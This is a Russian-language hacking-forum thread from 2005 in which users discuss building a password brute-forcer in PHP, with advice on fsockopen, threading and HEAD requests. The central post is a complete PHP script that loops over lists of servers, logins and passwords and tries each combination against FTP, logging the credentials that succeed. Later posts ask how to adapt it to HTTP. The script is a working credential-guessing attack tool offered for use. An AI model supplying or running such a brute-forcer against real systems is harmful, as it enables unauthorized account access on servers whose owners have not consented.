Брут на php

Discussion in 'PHP' started by Майор, 22 Mar 2005.

  1. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Вот решил написать его на php
    Сразу возник вопрос : Как средствами php узнать адрес по которому находится страница из ифрейма ?
    ну или cookie от туда ........
     
    #1 Майор, 22 Mar 2005
    Last edited: 22 Mar 2005
  2. chin

    chin php programmer

    Joined:
    19 Mar 2005
    Messages:
    38
    Likes Received:
    1
    Reputations:
    0
  3. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Может ктонибудь подскажет готовый принцип ...
    Мож как нибудь с заголовкам зделать...
    ???
     
  4. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    А какие проблемы? iframe лишь ссылается на страницу. fsockopen() и будет тебе счастье =)
     
    _________________________
  5. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    А будет эфективней если я буду работать в fsockopen() в несколько потоков ?
     
  6. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    будет
    (писал такой сабж на перле)
     
  7. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    ну тоды скажи оптимальное количество потоков
     
  8. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Я писал без потоков(влом :) было)
    в один поток одна попытка занимала около секунды, трафик - полторы кб(страничка с редиректом)
    сначала напиши, потом цифру изменишь =) в настройки вынеси ее =)
     
  9. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    я через заголвки пробую, так что всю страничку читать он у меня не будет...., токо первую строчку из потока
     
  10. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    А ты методом Head ;)
     
  11. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
  12. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Пинцет, ну четакого сложного то тут?
    PHP:
    <?
    set_time_limit(0);
    $data['login']=file("login.txt");
    $data['passwd']=file("passwd.txt");
    $data['servers']=file("server.txt");
    foreach(
    $data['servers'] AS $server){
      foreach(
    $data['login'] AS $login){
        foreach(
    $data['passwd'] AS $passwd){
          if(
    $connect=@ftp_connect($server)){
            if (@
    ftp_login($connect$login$passwd)) {
              
    $f=fopen('log.txt''a');
              
    fwrite($f'['.date('d.m.Y H:i:s).'] ('.$server.' '.$login.':'.$passwd.') >> Логин и пароль подошли.\n');
              fclose($f);
            }else{
              $f=fopen('
    log.txt', 'a');
              fwrite($f, '
    ['.date('d.m.Y H:i:s).'] ('.$server.' '.$login.':'.$passwd.') коннект не удался. Логин и пароль не подошли.\n');
              
    fclose($f);
            }  
          }else{
            
    $f=fopen('log.txt''a');
            
    fwrite($f'['.date('d.m.Y H:i:s).'] ('.$server.' '.$login.':'.$passwd.'коннект не удалсяСервер не доступен.\n');
            fclose($f);
          };
        }
      }
    }
    ?>
    Скрипт берет инфу из файлов server.txt, login.txt и passwd.txt. Ко всем IP адресам, имеющимся в server.txt поочереди подбираются все логины из login.txt, в свое время ко всем логинам подбираются все пароли с passwd.txt. Все пишется в лог. Вроде так...
     
    _________________________
  13. dim_ok

    dim_ok Elder - Старейшина

    Joined:
    26 Mar 2005
    Messages:
    173
    Likes Received:
    64
    Reputations:
    47
    А как замутить подобное по http?